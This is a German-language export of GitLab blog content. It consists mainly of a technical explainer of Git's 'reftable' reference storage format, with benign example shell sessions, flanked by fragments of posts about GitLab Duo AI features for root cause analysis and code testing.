helfen, ihre Pipelines in weniger Iterationen und schneller zu reparieren. Die Ursachenanalyse wird dabei in GitLab Duo Chat, unserem KI Assistenten, geöffnet und zeigt die Antwort dort. Benutzer(innen) können die Empfehlung dann direkt verwenden oder weiter mit dem Chat agieren, indem sie spezifische, weiterführende Fragen stellen (z. B. spezifische Fixes für eine bestimmte Programmiersprache) oder indem sie je nach Ursache nach alternativen Lösungen fragen.\n\n\nZum Beispiel ist hier die Ursachenanalyse für einen fehlgeschlagenen Job:\n\n\n![Antwort auf die Grundursachenanalyse](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097332603.png)\n\n\nBenutzer(innen) können Folgefragen stellen, die auf der von der KI generierten Antwort basieren.\n\n\n* Ich möchte kein eigenes Docker Image erstellen. Bitte erkläre mir andere Möglichkeiten, das Problem zu beheben.\n\n* Ich habe keinen Zugriff auf die Docker-Image-Erstellung. Es sieht so aus, als würde die Go-Binärdatei fehlen. Gibt es alternative Images, die du vorschlagen kannst?\n\n\nGitLab führt außerdem Qualitäts-Vergleiche für die erstellten Antworten durch, um das Nutzererlebnis langfristig zu verbessern.\n\n\nWeitere Informationen findest du in unserem [Epic zur Ursachenanalyse](https://gitlab.com/groups/gitlab-org/-/epics/13080). Wir würden uns auch über dein Feedback zu dieser Funktionalität freuen. Bitte hinterlasst dafür einen Kommentar in unserem [Feedback-Ticket zur Ursachenanalyse](https://gitlab.com/groups/gitlab-org/-/epics/13872).\n\n\n## Erste Schritte mit der Ursachenanalyse\n\n\nIn unserer [Dokumentation](https://docs.gitlab.com/ee/user/ai_experiments.html#root-cause-analysis) findest du Informationen dazu, wie du die Funktion als GitLab-Ultimate-Kund(inn)en aktivieren kannst. Außerdem ist die Ursachenanalyse von GitLab Duo bald in GitLab Self-Managed und GitLab Dedicated verfügbar.\n\n\nBist du kein(e) GitLab-Ultimate-Kunde/Kundin? Starte jetzt [deine kostenlose Testversion](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n",[679,767,787,746,745],{"slug":3168,"featured":92,"template":682},"developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd","content:de-de:blog:developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd.yml","Developing Gitlab Duo Blending Ai And Root Cause Analysis To Fix Ci Cd","de-de/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd.yml","de-de/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd",{"_path":3174,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3175,"content":3181,"config":3186,"_id":3188,"_type":16,"title":3189,"_source":17,"_file":3190,"_stem":3191,"_extension":20},"/de-de/blog/a-beginners-guide-to-the-git-reftable-format",{"ogTitle":3176,"schema":3177,"ogImage":3178,"ogDescription":3179,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3180,"title":3176,"canonicalUrls":3180,"description":3179},"Der Anfängerleitfaden zum „reftable“-Format von Git","                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Der Anfängerleitfaden zum „reftable“-Format von Git\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2024-05-30\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664595/Blog/Hero%20Images/blog-image-template-1800x945__9_.png","In Git 2.45.0 hat GitLab das reftable Backend in Git eingeführt – dies verändert die Art und Weise, wie Referenzen gespeichert werden, von Grund auf. Erhalte detaillierte Einblicke, wie dieses neue Format funktioniert.","https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format",{"heroImage":3178,"body":3182,"authors":3183,"updatedDate":2978,"date":3184,"title":3176,"tags":3185,"description":3179,"category":1033},"Bis vor Kurzem war das „files“-Format die einzige Möglichkeit in Git,\nReferenzen zu speichern. Mit der [Version\nGit 2.45.0](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-45-0/)\nkann Git nun Referenzen im „reftable“-Format speichern. Dieses neue Format\nist ein Binärformat, das deutlich komplexer als das alte “files” Format ist.\nDiese Komplexität ermöglicht es jedoch, einige Mängel des „files“-Formats zu\nbeheben. Die Entwicklungsziele des „reftable“-Formats sind unter anderem\nfolgende:\n\n\n- Die Suche nach einzelnen Referenzen und die Iterationen über zahlreichen Referenzen soll so effizient und schnell wie möglich sein.\n\n- Das konsistente Lesen von Referenzen soll unterstützt werden, sodass Git nie einen Zwischenzustand liest, wenn ein Update an mehreren Referenzen nur teilweise angewendet wurde.\n\n- Atomares Schreiben soll unterstützt werden, sodass die Aktualisierung von mehreren Referenzen nur entweder vollständig oder gar nicht möglich ist.\n\n- Effiziente Speicherung von Referenzen und Reflog-Einträgen.\n\n\nIn diesem Artikel kommen wir allen Feinheiten des „reftable“-Formats auf die Schliche und sehen uns genau an, wie es funktioniert.\n\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\n\n## So speichert Git Referenzen\n\n\nBevor wir uns die Details des „reftable“-Formats ansehen, fassen wir nochmals kurz zusammen, wie Git in der Vergangenheit Referenzen gespeichert hat. Wenn du damit bereits vertraut bist, kannst du gleich zum nächsten Abschnitt springen.\n\n\nEin Git-Repository enthält zwei wesentliche Datenstrukturen:\n\n\n- [Objekte](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects), die die eigentlichen Daten deines Repositorys enthalten. Dazu gehören Commits, die Verzeichnisstruktur und die Blobs, die deinen Quellcode enthalten. Objekte verweisen aufeinander und bilden so einen Objektgraphen. Außerdem hat jedes Objekt eine Objekt-ID, durch die es eindeutig identifiziert wird.\n\n\n- Referenzen wie Branches und Tags sind Wegweiser im Objektgraphen, sodass du Objekten Namen geben kannst, die einfacher zu merken sind, und verschiedene Wege deines Entwicklungsverlaufs nachverfolgen kannst. Ein Repository kann zum Beispiel einen `main`-Branch enthalten, der eine Referenz mit dem Namen `refs/heads/main` ist und auf einen bestimmten Commit zeigt.\n\n\nReferenzen werden in der Referenzdatenbank gespeichert. Bis Git 2.45.0 gab es nur das Datenbankformat „files“. In diesem Format wird jede Referenz als einfache Datei gespeichert, die eines der folgenden Elemente enthält:\n\n\n- Eine normale Referenz, die die Objekt-ID des Commits enthält, auf den sie zeigt.\n\n- Eine symbolische Referenz, die den Namen einer anderen Referenz enthält. Dies ist ähnlich wie ein symbolischer Link, der auf eine andere Datei zeigt.\n\n\nIn regelmäßigen Abständen werden diese Referenzen in eine einzige `packed-refs`-Datei komprimiert, damit Referenzen effizienter durchsucht werden können.\n\n\nDie folgenden Beispiele sollen eine Vorstellung davon geben, wie das „files“-Format funktioniert:\n\n\n```shell\n\n$ git init .\n\n$ git commit --allow-empty --message \"Initial commit\"\n\n[main (root-commit) 6917c17] Initial commit\n\n\n# HEAD ist eine symbolische Referenz, die auf refs/heads/main zeigt.\n\n$ cat .git/HEAD\n\nref: refs/heads/main\n\n\n# refs/heads/main ist eine normal Referenz, die auf einen Commit zeigt.\n\n$ cat .git/refs/heads/main\n\n6917c178cfc3c50215a82cf959204e9934af24c8\n\n\n# git-pack-refs(1) komprimiert diese Referenzen in eine packed-refs Datei.\n\n$ git pack-refs --all\n\n$ cat .git/packed-refs\n\n# pack-refs with: peeled fully-peeled sorted\n\n6917c178cfc3c50215a82cf959204e9934af24c8 refs/heads/main\n\n```\n\n\n## Hochrangige Struktur von reftables\n\n\nWenn du nun Git 2.45.0 oder eine neuere Version installiert hast, kannst du ein Repository mit dem „reftable“-Format erstellen, indem du den Switch `--ref-format=reftable` verwendest:\n\n\n```shell\n\n$ git init --ref-format=reftable .Initialized empty Git repository in /tmp/repo/.git/\n\n$ git rev-parse --show-ref-format\n\nreftable\n\n\n# Irrelevante Dateien wurden für ein einfacheres Verständnis entfernt.\n\n$ tree .git\n\n.git\n\n├── config\n\n├── HEAD\n\n├── index\n\n├── objects\n\n├── refs\n\n│   └── heads\n\n└── reftable\n  ├── 0x000000000001-0x000000000002-40a482a9.ref\n  └── tables.list\n\n4 directories, 6 files\n\n```\n\n\nSieh dir zunächst die Repository-Konfiguration an. Du wirst feststellen, dass sie den Schlüssel `extension.refstorage` enthält:\n\n\n```shell\n\n$ cat .git/config\n\n[core]\n    repositoryformatversion = 1\n    filemode = true\n    bare = false\n    logallrefupdates = true\n[extensions]\n    refstorage = reftable\n```\n\n\nDiese Konfiguration teilt Git mit, dass das Repository mit dem „reftable“-Format initialisiert wurde und gibt an, dass Git das „reftable“-Backend nutzen muss, um darauf zuzugreifen.\n\n\nSeltsamerweise enthält das Repository immer noch einige Dateien, die aussehen, als würde das „files“-Backend verwendet werden:\n\n\n- `HEAD` würde normalerweise eine symbolische Referenz sein, die auf deinen derzeit ausgecheckten Branch zeigt. Obwohl es nicht vom „reftable“-Backend verwendet wird, ist es für Git-Clients erforderlich, um das Verzeichnis als Git-Verzeichnis zu erkennen. Wenn du also das „reftable“-Format verwendest, ist `HEAD` ein Stub mit dem Inhalt `ref: refs/heads/.invalid`.\n\n\n- `refs/heads` ist eine Datei mit dem Inhalt `this repository uses the reftable format`. Git-Clients, die das Format „reftable“ nicht kennen, würden normalerweise erwarten, dass dieser Pfad ein Verzeichnis ist. Wenn du also diesen Pfad bewusst als Datei erstellst, führt dies dazu, dass ältere Git-Clients fehlschlagen, wenn sie versuchen, mit dem „files“-Backend auf das Repository zuzugreifen.\n\n\nDie tatsächlichen Referenzen werden im Verzeichnis `reftable/` gespeichert:\n\n\n```shell\n\n$ tree .git/reftable\n\n.git/reftable/\n\n├──0x000000000001-0x000000000001-794bd722.ref\n\n└── tables.list\n\n\n$ cat .git/reftable/tables.list\n\n0x000000000001-0x000000000001-794bd722.ref\n\n```\n\n\nEs gibt hier zwei Dateien:\n\n\n- `0x000000000001-0x000000000001-794bd722.ref` ist eine Tabelle mit Referenzen und den Reflog-Einträgen in einem Binärformat.\n\n\n- `tables.list` ist eine Liste von Tabellen. Im aktuellen Status des Repositorys enthält die Datei eine Zeile, die der Name der Tabelle ist. Diese Datei verfolgt den aktuellen Satz aktiver Tabellen in der „reftable“-Datenbank und wird aktualisiert, wenn neue Tabellen zum Repository hinzugefügt werden.\n\n\nWenn du eine Referenz aktualisierst, wird eine neue Tabelle erstellt:\n\n\n```shell\n\n$ git commit --allow-empty --message \"Initial commit\"\n\n[main (root-commit) 1472a58] Initial commit\n\n\n$ tree .git/reftable\n\n.git/reftable/\n\n├──0x000000000001-0x000000000002-eb87d12b.ref\n\n└── tables.list\n\n\n$ cat .git/reftable/tables.list\n\n0x000000000001-0x000000000002-eb87d12b.ref\n\n```\n\n\nWie du sehen kannst, wurde die vorherige Tabelle durch eine neue ersetzt. Darüber hinaus wurde die Datei `tables.list` aktualisiert und enthält nun die neue Tabelle.\n\n\n## Die Struktur einer Tabelle\n\n\nWie bereits erwähnt, sind die eigentlichen Daten der Referenzdatenbank in Tabellen enthalten. Grob gesagt ist eine Tabelle in mehrere Abschnitte unterteilt:\n\n\n- Der „Header“ enthält Metadaten zur Tabelle. Dazu gehören unter anderem die Version des Formats, die Blockgröße und die vom Repository verwendete Hash-Funktion (z. B. SHA1 oder SHA256).\n\n- Der Abschnitt „Ref“ enthält deine Referenzen. Diese Datensätze haben einen Schlüssel, der dem Referenznamen entspricht und entweder auf eine Objekt-ID für reguläre Referenzen oder auf eine andere Referenz für symbolische Referenzen zeigt.\n\n- Der Abschnitt „Obj“ enthält die umgekehrte Zuordnung von Objekt-IDs zu den Referenzen, die auf diese Objekt-IDs zeigen. Diese ermöglichen es Git, effizient zu suchen, welche Referenzen auf eine bestimmte Objekt-ID zeigen.\n\n- Der Abschnitt „Log“ enthält deine Reflog-Einträge. Diese Datensätze haben einen Schlüssel, der dem Referenznamen entspricht, sowie einen Index, der die Nummer des Reflog-Eintrags darstellt. Außerdem enthalten sie die alten und neuen Objekt-IDs sowie die Nachricht für diesen Reflog-Eintrag.\n\n- Der „Footer“ enthält Zeiger zu den verschiedenen Abschnitten.\n\n\n![Lange Tabelle mit allen reftable-Abschnitten](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_1_-_Reftable_overview.svg)\n\n\nDie Abschnittstypen sind alle ähnlich strukturiert. Abschnitte enthalten eine Reihe von Datensätzen, die nach den Schlüsseln der einzelnen Datensätze sortiert sind. Wenn du zum Beispiel zwei Ref-Datensätze `refs/heads/aaaaa` und `refs/heads/bbb` hast, hast du zwei Ref-Datensätze mit diesen Referenznamen als jeweiligen Schlüssel, weshalb `refs/heads/aaaaa` vor `refs/heads/bbb` kommt.\n\n\nDarüber hinaus ist jeder Abschnitt in Blöcke mit einer festen Länge unterteilt. Diese Blocklänge ist im Header codiert und dient zwei Zwecken:\n\n\n- Da sie den Anfang des Abschnitts markieren und die Blockgröße angeben, weiß der bzw. die Leser(in) implizit, wo jeder der Blöcke beginnt. Dadurch kann Git gleich in die Mitte des Abschnitts springen, ohne vorherige Blocks lesen zu müssen. So kann die binäre Suche in Blöcken das Durchsuchen von Datensätzen beschleunigen.\n\n- Sie stellt sicher, dass Git weiß, wie viele Daten gleichzeitig von der Festplatte gelesen werden sollen. Folglich ist die Blockgröße standardmäßig auf 4 KiB eingestellt, was die häufigste Sektorgröße für Festplatten ist. Die maximale Blockgröße beträgt 16 MB.\n\n\nWenn wir zum Beispiel in einen „ref“-Abschnitt schauen, sieht er ungefähr wie die folgende Grafik aus. Achte darauf, wie die Datensätze lexikografisch in den Blocks, aber auch blockübergreifend sortiert sind.\n\n\n![Referenzblock, nicht komprimiert](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_2_-_Ref_block_uncompressed.svg)\n\n\nMit diesem Wissen können wir nun einen Datensatz finden, indem wir die folgenden Schritte befolgen:\n\n\n1. Führe eine Binärsuche über die Blocks durch, indem du dir die Schlüssel der jeweiligen ersten Datensätze ansiehst und den Block identifizierst, der unseren Datensatz enthalten muss.\n\n\n2. Führe eine lineare Suche in den Datensätzen dieses Blocks durch.\n\n\nBeide Schritte sind immer noch recht ineffizient. Wenn wir viele Blöcke haben, müssen wir logarithmisch viele davon in unserer Binärsuche lesen, um den gewünschten Block zu finden. Und wenn Blöcke viele Datensätze enthalten, müssen wir vielleicht bei der linearen Suche alle davon lesen.\n\n\nDas „reftable“-Format verfügt über zusätzliche integrierte Mechanismen, um diese Leistungsbedenken auszuräumen. Wir gehen in den nächsten Abschnitten darauf ein.\n\n\n### Präfix-Komprimierung\n\n\nWie du vielleicht bemerkt hast, haben alle Datensatzschlüssel das gleiche Präfix `refs/`. Dies ist häufig so in Git:\n\n\n- Alle Branches beginnen mit `refs/heads/`.\n\n- Alle Tags beginnen mit `refs/tags/`.\n\n\nDaher gehen wir davon aus, dass nachfolgende Datensätze höchstwahrscheinlich einen signifikanten Anteil ihres Schlüssels gemeinsam haben. Dies ist eine gute Gelegenheit, um wertvollen Speicherplatz zu sparen. Da wir wissen, dass die meisten Schlüssel ein gemeinsames Präfix haben, ist es sinnvoll, dies zu optimieren.\n\n\nDie Optimierung verwendet Präfix-Komprimierung. Jeder Datensatz kodiert eine Präfixlänge, die den Leser(innen) mitteilt, wie viele Bytes des Schlüssels des vorhergehenden Datensatzes wiederverwendet werden sollen. Wenn wir zwei Datensätze haben, `refs/heads/a` und `refs/heads/b`, kann letzterer kodiert werden, indem man eine Präfixlänge von 11 angibt und dann nur das Suffix `b` speichert. Die Leser(innen) nehmen dann die ersten 11 Bytes von `refs/heads/a`, was `refs/heads/` ist, und fügen das Suffix `b` hinzu.\n\n\n![Präfix-Komprimierung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_3_-_Ref_block_prefix_compression.svg)\n\n\n### Neustart-Punkte\n\n\nWie bereits erklärt, ist eine lineare Suche der beste Weg, mit unserem derzeitigen Wissen über das „reftable“-Format in einem Block nach einer Referenz zu suchen. Der Grund dafür ist, dass die Datensätze keine fixe Länge haben. Daher können wir nicht feststellen, wo Datensätze beginnen, ohne von Anfang an den Block zu durchsuchen. Auch wenn Datensätze eine fixe Länge hätten, könnten wir nicht in der Mitte eines Blocks suchen, da die Präfix-Kompression erfordert, dass wir auch die vorhergehenden Datensätze lesen.\n\n\nEine lineare Suche wäre ziemlich ineffizient, da Blöcke Hunderte oder sogar Tausende von Datensätzen enthalten können. Um dieses Problem zu beheben, codiert das „reftable“-Format sogenannte Neustart-Punkte in jeden Block. Neustart-Punkte sind unkomprimierte Datensätze, bei denen keine Präfix-Komprimierung verwendet wird. Folglich enthalten Datensätze an Neustart-Punkten immer ihren vollständigen Schlüssel, und es wird möglich, den Datensatz direkt zu suchen und zu lesen, ohne die vorhergehenden Datensätze lesen zu müssen. Diese Neustart-Punkte sind in der Fußzeile jedes Blocks aufgeführt.\n\n\nMit diesen Informationen können wir eine lineare Suche über den Block vermeiden. Stattdessen können wir jetzt eine Binärsuche über die Neustart-Punkte durchführen, bei der wir nach dem ersten Neustart-Punkt mit einem Schlüssel suchen, der lexikographisch größer ist als der gesuchte Schlüssel. Daraus folgt, dass sich der gewünschte Datensatz in dem Abschnitt befinden muss, der sich vom _vorhergehenden_ Neustart-Punkt bis zum identifizierten Neustart-Punkt erstreckt.\n\n\nDaher ist unser erstes Vorgehen bei der Suche nach einem Datensatz (Binärsuche nach dem Block, Linearsuche nach dem Datensatz) nun wie folgt:\n\n\n1. Führe eine Binärsuche über die Blocks durch und finde den Block, der unseren Datensatz enthalten muss.\n\n\n2. Führe eine Binärsuche über die Neustart-Punkte durch und identifiziere den Unterabschnitt des Blocks, der unseren Datensatz enthalten muss.\n\n\n3. Führe eine lineare Suche in den Datensätzen dieses Unterabschnitts.\n\n\n![Lineare Suche nach einem Datensatz](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_4_-_Restart_points.svg)\n\n\n### Indizes\n\n\nDie Suche nach Datensätzen in einem Block wäre nun einigermaßen effizient. Es ist aber weiterhin ineffizient, den Block selbst zu finden. Eine Binärsuche kann bei ein paar Blöcken funktionieren, aber Repositories mit Millionen von Referenzen können Hunderte oder sogar Tausende von Blöcken haben. Ohne zusätzliche Datenstruktur würde dies durchschnittlich logarithmisch viele Festplattenzugriffe verursachen.\n\nUm dies zu vermeiden, kann auf jeden Abschnitt ein Indexabschnitt folgen, der eine effiziente Möglichkeit bietet, einen Block nachzuschlagen. Jeder Indexdatensatz enthält die folgenden Informationen:\n\n\n- Die Position des Blocks, den er indiziert.\n\n- Der Schlüssel des letzten Datensatzes des Blocks, den er indiziert.\n\n\nBei drei oder weniger Blöcken erfordert eine Binärsuche immer höchstens zwei Festplattenlesevorgänge, um den gewünschten Zielblock zu finden. Dies ist die gleiche Anzahl von Lesevorgängen, die wir mit einem Index hätten: einen, um den Index selbst zu lesen, und einen, um den gewünschten Block zu lesen. Folglich werden Indizes nur geschrieben, wenn sie tatsächlich einige Lesevorgänge einsparen würden, was ab vier indizierten Blöcken der Fall ist.\n\n\nNun stellt sich die Frage: Was passiert, wenn der Index selbst so groß wird, dass er sich über mehrere Blöcke erstreckt? Du hast es vielleicht erraten: Wir schreiben einen weiteren Index, der den Index indiziert. Diese mehrstufigen Indizes werden erst dann wirklich notwendig, wenn du Repositories mit hunderttausenden von Referenzen hast.\n\n\nMit diesen Indizes können wir jetzt das Verfahren zum Nachschlagen von Datensätzen noch effizienter machen:\n\n1. Finde heraus, ob es einen Index gibt, indem du dir die Fußzeile der Tabelle ansiehst.\n  - Wenn es einen gibt, führe eine Binärsuche über den Index durch, um den gewünschten Block zu finden. Dieser Block kann selbst auf einen Indexblock verweisen. In diesem Fall müssen wir diesen Schritt wiederholen, bis wir einen Datensatz des gewünschten Typs finden.\n  - Ansonsten führe eine Binärsuche über die Blöcke durch, wie wir es zuvor getan haben.\n2. Führe eine Binärsuche über die Neustart-Punkte durch und identifiziere den Unterabschnitt des Blocks, der unseren Datensatz enthalten muss.\n\n3. Führe eine lineare Suche in den Datensätzen dieses Unterabschnitts durch.\n\n\n## Mehrere Tabellen\n\n\nBis jetzt haben wir nur besprochen, wie man eine _einzelne_ Tabelle liest. Aber wie der Name `tables.list` schon sagt, kannst du tatsächlich eine Liste von Tabellen in deiner „reftable“-Datenbank haben.\n\n\nJedes Mal, wenn du eine Referenz in deinem Repository aktualisierst, wird eine neue Tabelle geschrieben und an `tables.list` angehängt. So hast du schließlich mehrere Tabellen:\n\n\n```Shell\n\n$ tree .git/reftable/\n\n.git/reftable/\n\n├──0x0000000000000001-0x000000000007-8dcd8a77.ref\n\n├── 0x000000000008-0x000000000008-30e0f6f6.ref\n\n└── tables.list\n\n\n$ cat .git/reftable/tables.list\n\n0x000000000001-0x000000000007-8dcd8a77.ref\n\n0x000000000008-0x000000000008-30e0f6f6.ref\n\n```\n\n\nUm den tatsächlichen Status eines Repositorys zu lesen, müssen wir diese mehreren Tabellen zu einer einzigen virtuellen Tabelle zusammenführen.\n\n\nDu fragst dich vielleicht: Wenn für jede Referenzaktualisierung eine Tabelle geschrieben wird und dieselbe Referenz mehrmals aktualisiert wird, woher kennt das „reftable“-Format den aktuellsten Wert einer bestimmten Referenz? Intuitiv könnte man davon ausgehen, dass der Wert derjenige aus der neuesten Tabelle ist, die die Referenz enthält.\n\n\nTatsächlich hat jeder einzelne Datensatz einen sogenannten Aktualisierungsindex, der die „Priorität“ eines Datensatzes kodiert. Wenn beispielsweise zwei Ref-Datensätze mit demselben Namen existieren, überschreibt derjenige mit dem höheren Aktualisierungsindex denjenigen mit dem niedrigeren Aktualisierungsindex.\n\n\nDiese Aktualisierungsindizes sind in der obigen Dateistruktur sichtbar. Die langen Hex-Zeichenfolgen (z. B. `0x000000000001`) sind die Aktualisierungsindizes, wobei die linke Seite des Tabellennamens der minimale Aktualisierungsindex ist, der in der Tabelle enthalten ist, und die rechte Seite der maximale Aktualisierungsindex ist.\n\n\nDas Zusammenführen der Tabellen erfolgt dann über eine [Vorrangwarteschlange](https://de.wikipedia.org/wiki/Vorrangwarteschlange), die nach dem Schlüssel des Ref-Datensatzes sowie dem Aktualisierungsindex geordnet ist. Angenommen, wir möchten alle Ref-Datensätze durchsuchen, würden wir wie folgt vorgehen:\n\n\n1. Füge für jede Tabelle ihren ersten Datensatz zur Vorrangwarteschlange hinzu.\n\n\n![Ersten Datensatz zur Vorrangwarteschlange hinzufügen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_5_-_Priority_queue_1.svg)\n\n\n2. Liefere den Kopf der Vorrangwarteschlange. Da die Warteschlange nach Aktualisierungsindex geordnet ist, muss sie die aktuellste Version sein. Füge das nächste Element aus dessen Tabelle zur Vorrangwarteschlange hinzu.\n\n\n![Head der Vorrangwarteschlange angeben](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_6_-_Priority_queue_2.svg)\n\n\n3. Ziehe alle Datensätze aus der Warteschlange, die den gleichen Namen haben. Diese Datensätze werden verschattet, was bedeutet, dass sie nicht angezeigt werden. Füge für jede Tabelle, für die wir Datensätze ablegen, den nächsten Datensatz zur Vorrangwarteschlange hinzu.\n\n\n![Alle Datensätze aus der Warteschlange ablegen, die den gleichen Namen haben](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_7_-_Priority_queue_3.svg)\n\n\nJetzt können wir bereinigen und den Vorgang wiederholen, um Datensätze für andere Schlüssel zu lesen.\n\n\nTabellen können spezielle „tombstone“-Datensätze enthalten, die einen Datensatz als gelöscht markieren. So können wir Datensätze löschen, ohne den jeweiligen Datensatz aus allen Tabellen löschen zu müssen.\n\n\n### Autokomprimierung\n\n\nWährend die Idee hinter der Vorrangwarteschlange zwar einfach ist, wäre es allerdings eher ineffizient, Hunderte oder sogar nur Dutzende von Tabellen auf diese Weise zusammenzuführen. Es stimmt, dass jede Aktualisierung an deinen Referenzen eine neue Tabelle an deine `tables.list`-Datei anhängt. Das ist jedoch nur ein Teil der Wahrheit.\n\n\nDer andere Teil ist die Autokomprimierung: Nachdem eine neue Tabelle an die Liste der Tabellen angehängt wurde, überprüft das „reftable“-Backend, ob manche der Tabellen zusammengeführt werden sollen. Dies erfolgt durch eine einfache Heuristik. Wir überprüfen, ob die Liste der Tabellen eine [geometrische Folge](https://de.wikipedia.org/wiki/Geometrische_Folge) der Dateigrößen bildet. Jede Tabelle `n` muss mindestens doppelt so groß sein wie die nächstletzte Tabelle `n + 1`. Wenn gegen diese geometrische Folge verstoßen wird, komprimiert das Backend die Tabellen, sodass die geometrische Folge wiederhergestellt wird.\n\n\nIm Laufe der Zeit führt dies zu Strukturen, die wie folgt aussehen:\n\n\n```Shell\n\n$ du --apparent-size .git/reftable/*\n\n429    .git/reftable/0x000000000001-0x00000000bd7c-d9819000.ref\n\n101    .git/reftable/0x00000000bd7d-0x00000000c5ac-c34b88a4.ref\n\n32    .git/reftable/0x00000000c5ad-0x00000000cc6c-60391f53.ref\n\n8    .git/reftable/0x00000000cc6d-0x00000000cdc1-61c30db1.ref\n\n3    .git/reftable/0x00000000cdc2-0x00000000ce67-d9b55a96.ref\n\n1    .git/reftable/0x00000000ce68-0x00000000ce6b-44721696.ref\n\n1    .git/reftable/tables.list\n\n```\n\n\nBeachte, wie für jede einzelne Tabelle die Eigenschaft `size(n) > size(n+1) * 2` gilt.\n\n\nEine der Folgen der Autokomprimierung ist, dass sich das „reftable“-Backend selbst erhält. Wir müssen somit nicht mehr den Befehl `git pack-refs` zum Optimieren der Referenzen ausführen.\n\n\n## Möchtest du mehr erfahren?\n\n\nDu solltest jetzt ein gutes Verständnis dafür haben, wie das neue „reftable“-Format im Detail funktioniert. Wenn du noch tiefer in das Format eintauchen möchtest, kannst du dir dessen [technische Dokumentation](https://git-scm.com/docs/reftable) des Git-Projekts ansehen.\n\n\n> Lies dir unsere [Zusammenfassung von Git 2.45.0](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/) durch, um herauszufinden, was sonst noch in dieser Version von Git auf dich wartet.\n",[1754],"2024-05-30",[849,767,913,850],{"slug":3187,"featured":92,"template":682},"a-beginners-guide-to-the-git-reftable-format","content:de-de:blog:a-beginners-guide-to-the-git-reftable-format.yml","A Beginners Guide To The Git Reftable Format","de-de/blog/a-beginners-guide-to-the-git-reftable-format.yml","de-de/blog/a-beginners-guide-to-the-git-reftable-format",{"_path":3193,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3194,"content":3200,"config":3205,"_id":3207,"_type":16,"title":3208,"_source":17,"_file":3209,"_stem":3210,"_extension":20},"/de-de/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code",{"ogTitle":3195,"schema":3196,"ogImage":3197,"ogDescription":3198,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3199,"title":3195,"canonicalUrls":3199,"description":3198},"GitLab Duo: So testen wir KI-generierten Code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Entwicklung von GitLab Duo: Sicheres und gründliches Testen von KI-generiertem Code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-05-30\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097183/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750097183481.png","Erfahre Schritt für Schritt, wie du die Zuverlässigkeit und Sicherheit von KI-generiertem Code mithilfe von GitLab Duo und GitLab Pages (einschließlich Codebeispielen und Prompts) verbessern kannst.","https://about.gitlab.com/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code",{"heroImage":3197,"body":3201,"authors":3202,"updatedDate":1510,"date":3184,"title":3203,"tags":3204,"description":3198,"category":677},"***Generative KI bedeutet einen monumentalen Wandel in der\nSoftwareentwicklungsbranche, da sie die Entwicklung, die Sicherheit und den\nBetrieb von Software vereinfacht. Die neue Blog-Reihe unserer Produkt- und\nEntwicklungsteams zeigt, wie wir die KI-Funktionen erstellen, testen und\nbereitstellen, die in Unternehmen benötigt werden. Lerne neue Funktionen\ninnerhalb von GitLab Duo kennen und erfahre, wie diese DevSecOps-Teams dabei\nhelfen, bessere Ergebnisse für ihre Kund(inn)en zu erzielen.***\n\n\n## Inhaltsverzeichnis\n\n\n* [Herausforderungen bei der Verwendung von KI-generiertem Code](#herausforderungen-bei-der-verwendung-von-ki-generiertem-code)\n\n* [Der Ansatz von GitLab für die Sicherheit und das Testen von KI](#der-ansatz-von-gitlab-für-die-sicherheit-und-das-testen-von-ki)\n\n  * [1. Ein neues Projekt auf GitLab.com erstellen](#1.-ein-neues-projekt-auf-gitlab.com-erstellen)\n  * [2. GitLab Duo-Codevorschläge aktivieren](#2.-gitlab-duo-codevorschläge-aktivieren)\n  * [3. Einen Flask Webserver erstellen](#3.-einen-flask-webserver-erstellen)\n  * [4. Tests mit GitLab Duo generieren](#4.-tests-mit-gitlab-duo-generieren)\n  * [5. Probleme mit KI-generiertem Code mithilfe von GitLab Duo Chat identifizieren](#5.-probleme-mit-ki-generiertem-code-mithilfe-von-gitlab-duo-chat-identifizieren)\n 